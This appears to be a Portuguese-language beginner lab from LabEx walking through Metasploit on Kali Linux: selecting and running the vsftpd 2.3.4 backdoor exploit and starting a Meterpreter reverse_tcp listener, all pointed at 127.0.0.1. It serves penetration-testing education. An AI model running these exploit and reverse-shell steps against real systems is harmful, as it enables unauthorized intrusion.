Exploração no Kali com Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os fundamentos dos testes de invasão (penetration testing) utilizando o Kali Linux dentro de um ambiente controlado na VM do LabEx. O foco será o aproveitamento do poderoso Metasploit Framework para identificar vulnerabilidades, configurar payloads, executar exploits e interagir com sistemas comprometidos através de uma sessão Meterpreter. Projetado para iniciantes, este laboratório guia você passo a passo por técnicas essenciais de cibersegurança de maneira segura e estruturada. Ao abrir o terminal, você será conectado automaticamente ao shell do container Kali Linux, pronto para começar a praticar sem a necessidade de iniciar ou entrar manualmente no container.

Este é um Laboratório Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para concluir cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 85%. Ele recebeu uma taxa de avaliação positiva de 100% dos alunos.

Iniciando o Metasploit Framework

Nesta primeira etapa, você iniciará o Metasploit Framework, uma ferramenta fundamental para testes de invasão no Kali Linux. Este passo é essencial, pois prepara o ambiente para identificar e explorar vulnerabilidades nas etapas posteriores.

Ao abrir o terminal na VM do LabEx, você será conectado automaticamente ao shell do container Kali Linux. Não há necessidade de iniciar manualmente o container ou entrar no shell; o ambiente já está configurado para você.

Antes de usar o Metasploit, você precisa garantir que ele esteja instalado no container Kali Linux. Primeiro, atualize a lista de pacotes digitando o seguinte comando no terminal e pressionando Enter:

apt update

Em seguida, instale o Metasploit Framework. Esta instalação pode levar alguns minutos, portanto, aguarde a conclusão.

apt install -y metasploit-framework

Uma vez instalado, inicie o console do Metasploit digitando o seguinte comando e pressionando Enter:

msfconsole

A primeira vez que você executar este comando, pode levar um momento para inicializar, pois ele configura o banco de dados e carrega os módulos. Você verá um banner em arte ASCII e um prompt semelhante a este quando o Metasploit iniciar:

Metasploit Framework
...
msf >

O prompt msf > indica que você está agora dentro do console do Metasploit, pronto para interagir com o framework. Não saia do console, pois você o usará na próxima etapa para pesquisar e selecionar um exploit.

Pesquisando e Selecionando um Exploit

Agora que você iniciou o Metasploit Framework, o próximo passo é pesquisar e selecionar um exploit. Um exploit é um pedaço de código que tira proveito de uma vulnerabilidade de software para causar um comportamento não pretendido, como obter acesso não autorizado.

Como você já está no console do Metasploit (com o prompt msf6 >), vamos pesquisar por um exploit relacionado ao FTP (File Transfer Protocol), um serviço comum que pode apresentar vulnerabilidades. Digite o seguinte comando e pressione Enter:

search ftp

Este comando lista exploits e módulos auxiliares relacionados ao FTP. A saída mostrará uma tabela de módulos correspondentes.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Para este laboratório, usaremos o exploit vsftpd_234_backdoor. Para selecioná-lo, use o comando use seguido pelo nome do exploit.

use exploit/unix/ftp/vsftpd_234_backdoor

Após selecionar o exploit, seu prompt mudará para incluir o nome do exploit, indicando que ele é agora o módulo ativo.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Para visualizar informações detalhadas sobre o exploit selecionado, incluindo suas opções e requisitos, digite o comando info.

info

A saída fornece detalhes como a plataforma, arquitetura e alvos disponíveis.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Você selecionou um exploit com sucesso. Na próxima etapa, você configurará um payload para este exploit.

Nota: O Labby não consegue obter os registros de operação dentro do shell do msf, portanto, as etapas a seguir não serão verificadas.

Configurando o Exploit e o Payload

Com o exploit selecionado, agora você precisa configurar suas opções e definir um payload. Um payload é o código que será executado no sistema alvo após o sucesso do exploit. Para este laboratório, você configurará um payload de shell de comando interativo que permite executar comandos no sistema de destino.

Importante: Antes de definir um payload, é crucial verificar quais payloads são compatíveis com o exploit selecionado. Use o seguinte comando para ver todos os payloads compatíveis:

show payloads

Isso exibirá uma lista de payloads que funcionam com o exploit vsftpd_234_backdoor. Você deve ver apenas um payload compatível: cmd/unix/interact.

Primeiro, defina o payload. Usaremos o shell de comando interativo que é compatível com este exploit.

set payload cmd/unix/interact

Você verá uma mensagem de confirmação.

payload => cmd/unix/interact

Em seguida, você precisa configurar as opções do exploit. A opção RHOST (Remote Host) especifica o endereço IP da máquina alvo. Para esta simulação, vamos defini-lo como 127.0.0.1.

set RHOST 127.0.0.1

Nota Importante: Ao contrário dos payloads de reverse shell, o payload cmd/unix/interact não requer as configurações de LHOST ou LPORT. Este payload estabelece uma sessão de comando interativa diretamente com o alvo.

Para verificar todas as configurações, use o comando show options.

show options

Isso exibe uma tabela de opções para o exploit. Verifique se o RHOST está configurado corretamente.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Seu exploit e payload estão agora configurados e prontos para execução na próxima etapa.

Executando o Exploit

Após configurar o exploit e o payload, você está pronto para executá-lo. O comando exploit instrui o Metasploit a lançar o ataque contra o alvo especificado (RHOST).

No seu console do Metasploit, basta digitar o seguinte comando e pressionar Enter:

exploit

O Metasploit tentará executar o exploit. Como não há um serviço VSFTPD vulnerável real rodando em 127.0.0.1 neste ambiente de laboratório, o exploit falhará. Isso é esperado e demonstra o processo de lançamento de um ataque.

A saída mostrará que o Metasploit tentou se conectar ao serviço FTP alvo, mas falhou porque o serviço não está em execução:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Nota: Com o payload cmd/unix/interact, você não veria um listener de reverse shell sendo iniciado. Em vez disso, este payload tentaria estabelecer uma sessão de comando interativa direta com o serviço FTP alvo se ele estivesse vulnerável e acessível.

A mensagem Exploit completed, but no session was created confirma a falha. Em um cenário real com um serviço VSFTPD vulnerável, isso estabeleceria uma sessão de shell de comando interativa, permitindo que você executasse comandos diretamente no sistema alvo. Esta etapa ensina o comando fundamental para lançar um exploit, que é uma parte central do fluxo de trabalho de um teste de invasão.

Configurando um Listener Meterpreter

Nesta etapa final, você aprenderá a configurar um listener (ouvinte) para um payload Meterpreter. O Meterpreter é um payload avançado e rico em recursos que fornece um shell interativo no sistema alvo. Em vez de lançar um exploit, você usará o módulo exploit/multi/handler para escutar conexões de entrada. Isso é útil quando um exploit é entregue por outros meios (por exemplo, um arquivo malicioso) e você precisa capturar a conexão reversa.

Primeiro, mude para o módulo multi/handler.

use exploit/multi/handler

Seu prompt mudará para refletir o novo módulo.

msf6 exploit(multi/handler) >

Em seguida, defina um payload Meterpreter. Usaremos um projetado para sistemas Linux.

set payload linux/x86/meterpreter/reverse_tcp

Agora, configure as opções do listener, LHOST e LPORT, assim como fez anteriormente.

set LHOST 127.0.0.1

Nota: Você pode ver uma mensagem de aviso sobre a vinculação a um endereço de loopback. Isso é normal ao usar o localhost (127.0.0.1) e pode ser ignorado com segurança neste laboratório.

set LPORT 4444

Finalmente, inicie o listener usando o comando exploit.

exploit

O Metasploit iniciará um listener no IP e porta especificados, aguardando a conexão de uma sessão Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444

O console permanecerá ativo, aguardando uma conexão. Em um cenário real, se uma máquina alvo executasse o payload Meterpreter correspondente, uma sessão seria estabelecida aqui. Como nenhum alvo se conectará neste laboratório, você pode parar o listener pressionando Ctrl + C.

Para sair do console do Metasploit, digite exit e pressione Enter.

Resumo

Neste laboratório, você aprendeu as etapas fundamentais de um teste de invasão usando o Kali Linux e o Metasploit Framework. Você começou iniciando o Metasploit, pesquisou e selecionou um exploit, configurou tanto o exploit quanto um payload de shell reverso e executou o ataque em um ambiente simulado. Você também aprendeu como configurar um listener independente para um payload Meterpreter avançado. Essas etapas fornecem uma introdução prática ao fluxo de trabalho principal de identificação de vulnerabilidades, preparação de payloads e compreensão do processo de exploração. Ao seguir esta abordagem estruturada, você adquiriu experiência prática com ferramentas e técnicas essenciais de cibersegurança.